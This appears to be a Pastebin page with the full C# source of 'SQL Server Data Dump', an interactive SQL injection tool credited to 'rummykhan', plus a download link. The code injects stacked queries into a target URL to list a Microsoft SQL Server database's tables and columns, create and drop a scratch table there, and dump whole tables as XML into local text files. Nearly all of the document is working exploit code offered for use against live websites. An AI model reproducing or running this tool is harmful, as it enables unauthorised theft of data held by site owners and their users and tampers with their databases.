Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- http://www.mediafire.com/download/yj1da6jea94tpxi/SQL+Server+Data+Dump.rar
- -> code for #C
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Net;
- using System.Text;
- using System.Threading;
- using System.Xml;
- namespace DumpData
- {
- class Program
- {
- static string _replacement = "ch198mno574x";
- static string _tableStackedQuery = ";begin declare @x varchar(MAX) set @x = 'x102x' SELECT @x = @x %2b ':' %2b TABLE_NAME FROM INFORMATION_SCHEMA.TABLES set @x = @x %2b ':x102y' SELECT @x as oxp into xrummyTables end--X-";
- static string _columnStackedQuery = ";begin declare @x varchar(MAX) set @x = 'x102x' SELECT @x = @x %2b':'%2b COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = [TABLENAME]; set @x = @x %2b':x102y' SELECT @x as oxp into xrummyTables end--X-";
- static string _dropTableStackedQuery = ";drop table xrummyTables--X-";
- static string _tableDumpQuery = "'x102x:'%2b(SELECT * FROM [TABLENAME] for xml auto)%2b':x102y'";
- static string[] _tables = null;
- static string[] _columns = null;
- static string _fileName = null;
- static void Main(string[] args)
- {
- initialize();
- Console.Title = "SQL Server Data Dump v1 by rummykhan";
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("\t\t\t\t: Love For :\n | Lafangoo | Ch3rn0by1 | Connecting | exploiter-z | Gujjar (PCP) | rootxx |\n\t |PMH's Str!k3r -" +
- "Rafay Baloch -Jin -hussein(h98d) -Zen -Rahul| \n\t\t|MakMan--madCodE--Blackhawk--Ajkaro--benzi| ");
- Console.WriteLine();
- string basicURL = null;
- while (basicURL != "x")
- {
- basicURL = null;
- logNotification("Press x for exit..");
- promptForUserInput("Enter url");
- basicURL = Console.ReadLine();
- if (basicURL != "x" && !String.IsNullOrEmpty(basicURL))
- {
- logNotification("Confirming Web Response..");
- if (confirmResponce(basicURL))
- {
- logNotification("Web Response is OK..");
- string[] tmpTables = getObjects(basicURL, _tableStackedQuery);
- if (tmpTables != null)
- {
- dropTempTable(basicURL);
- _tables = tmpTables;
- int choice = -1;
- while (choice != 0)
- {
- Console.Clear();
- showObjects(_tables, "TABLE");
- choice = showMenu();
- if (choice > 0 && choice <= _tables.Length)
- {
- string userSelectedTable = _tables[choice - 1];
- string userColumnQuery = constructQueryForColumns(userSelectedTable);
- string[] tmpColumns = getObjects(basicURL, userColumnQuery);
- if (tmpColumns != null)
- {
- dropTempTable(basicURL);
- showObjects(tmpColumns, "COLUMN");
- if (takeInputForTableFile())
- {
- string xml = addRoot(getPureResponse(getResponse(constructQueryForDataDump(basicURL, userSelectedTable))));
- createWriteTmpFile(xml);
- parseXML(userSelectedTable);
- logNotification("Data dump complete..\nPress any key to continue..");
- Console.ReadKey();
- }
- }
- }
- }
- cleanUp();
- Console.Clear();
- }
- }
- }
- }
- logOutput("Program is going to exit.. Press any key..");
- Console.ReadKey();
- }
- static bool confirmResponce(string url)
- {
- try
- {
- if (getResponse(constructURLForConfirmation(url)).Contains(_replacement))
- return true;
- else
- return false;
- }
- catch (NullReferenceException ex)
- {
- logError("No Responce returned from the Server");
- return false;
- }
- }
- static string getResponse(string url)
- {
- try
- {
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
- request.Method = "GET";
- using (var response = request.GetResponse())
- using (var stream = response.GetResponseStream())
- using (var reader = new StreamReader(stream))
- {
- HttpStatusCode statusCode = ((HttpWebResponse)response).StatusCode;
- string contents = reader.ReadToEnd();
- return contents;
- }
- }
- catch(WebException wc)
- {
- try
- {
- WebResponse wr = (WebResponse)wc.Response;
- using (var stream = wr.GetResponseStream())
- using (var reader = new StreamReader(stream))
- {
- string contents = reader.ReadToEnd();
- return contents;
- }
- }
- catch(NullReferenceException ex)
- {
- logError("Plz check you internet connection OR website has blocked you ip - TimeOUT");
- return null;
- }
- }
- catch(UriFormatException ex)
- {
- logError(ex.Message);
- return null;
- }
- catch(NullReferenceException ex)
- {
- logError(ex.Message);
- return null;
- }
- }
- static string[] getObjects(string url, string stackedQuery)
- {
- string newUrl = url.Replace("rummykhan", _replacement);
- newUrl = newUrl.Replace("--X-", stackedQuery);
- if (getResponse(newUrl).Contains(_replacement))
- {
- string objectURL = constructURLForOutput(url);
- return parseResponce(getResponse(objectURL));
- }
- else
- return null;
- }
- static bool dropTempTable(string url)
- {
- url = constructURLForDroppingTempTable(url);
- if (getResponse(url).Contains(_replacement))
- return true;
- else
- return false;
- }
- static string[] parseResponce(string response)
- {
- try
- {
- response = getPureResponse(response);
- if (response != null)
- {
- return response.Split(':');
- }
- else
- return null;
- }
- catch(Exception ex)
- {
- logError(ex.Message);
- return null;
- }
- }
- static string getPureResponse(string response)
- {
- try
- {
- int start = response.IndexOf("x102x:");
- int end = response.IndexOf(":x102y");
- int contentLength = end - start;
- response = response.Substring(start, contentLength);
- return response.Replace("x102x:", "");
- }
- catch(Exception ex)
- {
- logError(" while parsing response : "+ex.Message);
- return null;
- }
- }
- static string constructURLForOutput(string url)
- {
- url = url.Replace("'rummykhan'", "oxp");
- url = url.Replace("--X-", " FROM xrummyTables--X-");
- return url;
- }
- static string constructURLForDroppingTempTable(string url)
- {
- url = constructURLForConfirmation(url);
- url = url.Replace("--X-", _dropTableStackedQuery);
- return url;
- }
- static string constructURLForConfirmation(string url)
- {
- url = url.Replace("rummykhan", _replacement);
- return url;
- }
- static string constructQueryForColumns(string tableName)
- {
- return _columnStackedQuery.Replace("[TABLENAME]", "'" + tableName + "'");
- }
- static string constructQueryForDataDump(string url, string tableName)
- {
- url = url.Replace("'rummykhan'", _tableDumpQuery);
- url = url.Replace("TABLENAME", tableName);
- return url;
- }
- static void showObjects(string[] objects, string title)
- {
- try
- {
- logOutput("--[ " + title + "(s) START ]--");
- for (int i = 0; i < objects.Length; i++)
- {
- logOutput("[" + (i + 1) + "] = " + objects[i]);
- }
- logOutput("--[ " + title + "(s) END ]--");
- }
- catch(NullReferenceException ex)
- {
- logError("at show tables/columns : " + ex.Message);
- }
- }
- static int showMenu()
- {
- logNotification("Press 0 to EXIT");
- promptForUserInput("Press Corresponding Key to dump TABLE");
- string userInputString = Console.ReadLine();
- int userInputInt = 0;
- if (int.TryParse(userInputString, out userInputInt))
- return userInputInt;
- else
- {
- Console.Clear();
- showObjects(_tables, "TABLE");
- logError("Bad input");
- return -1;
- }
- }
- static string addRoot(string response)
- {
- response = "<xoxo>" + response + "</xoxo>";
- return response;
- }
- static void parseXML(string tableName)
- {
- int counter = 1;
- XmlDocument xDoc = new XmlDocument();
- xDoc.Load("tmp.txt");
- XmlNodeList nodeList = xDoc.GetElementsByTagName(tableName);
- using (StreamWriter sw = new StreamWriter(_fileName))
- {
- foreach (XmlNode node in nodeList)
- {
- string oneRecord = null;
- foreach (XmlAttribute attribute in node.Attributes)
- {
- oneRecord += attribute.Value + " : ";
- }
- Console.WriteLine(counter + " : " + oneRecord);
- sw.WriteLine(oneRecord);
- sw.Flush();
- counter++;
- }
- }
- }
- static bool createWriteTmpFile(string contents)
- {
- try
- {
- using (StreamWriter sw = new StreamWriter("tmp.txt"))
- {
- sw.Write(contents);
- sw.Flush();
- return true;
- }
- }
- catch(Exception ex)
- {
- logError(ex.Message);
- return false;
- }
- }
- static bool takeInputForTableFile()
- {
- promptForUserInput("Enter Name for File");
- string fileName = Console.ReadLine();
- fileName += (new Random().Next(123456789)).ToString();
- _fileName = fileName + ".txt";
- return true;
- }
- static void promptForUserInput(string message)
- {
- Console.ForegroundColor = ConsoleColor.Blue;
- Console.Write(message + " :: ");
- }
- static void logError(string message)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[ERROR] " + message+" [ERROR]");
- }
- static void logOutput(string message)
- {
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine(message);
- }
- static void logNotification(string message)
- {
- Console.ForegroundColor = ConsoleColor.Gray;
- Console.WriteLine("[INFO] "+message);
- }
- static void cleanUp()
- {
- File.Delete("tmp.txt");
- _tables = null;
- _fileName = null;
- _columns = null;
- }
- static void initialize()
- {
- if(File.Exists("config.xml"))
- {
- XmlDocument xDoc = new XmlDocument();
- xDoc.Load("config.xml");
- string tableStackedQuery = xDoc.GetElementsByTagName("tableStackedQuery")[0].InnerXml.Trim();
- string columnStackedQuery = xDoc.GetElementsByTagName("columnStackedQuery")[0].InnerXml.Trim();
- string dropTableStackedQuery = xDoc.GetElementsByTagName("dropTableStackedQuery")[0].InnerXml.Trim();
- string tableDumpQuery = xDoc.GetElementsByTagName("tableDumpQuery")[0].InnerXml.Trim();
- if (!String.IsNullOrEmpty(tableStackedQuery))
- _tableStackedQuery = tableStackedQuery;
- if (!String.IsNullOrEmpty(columnStackedQuery))
- _columnStackedQuery = columnStackedQuery;
- if (!String.IsNullOrEmpty(dropTableStackedQuery))
- _dropTableStackedQuery = dropTableStackedQuery;
- if (!String.IsNullOrEmpty(tableDumpQuery))
- _tableDumpQuery = tableDumpQuery;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement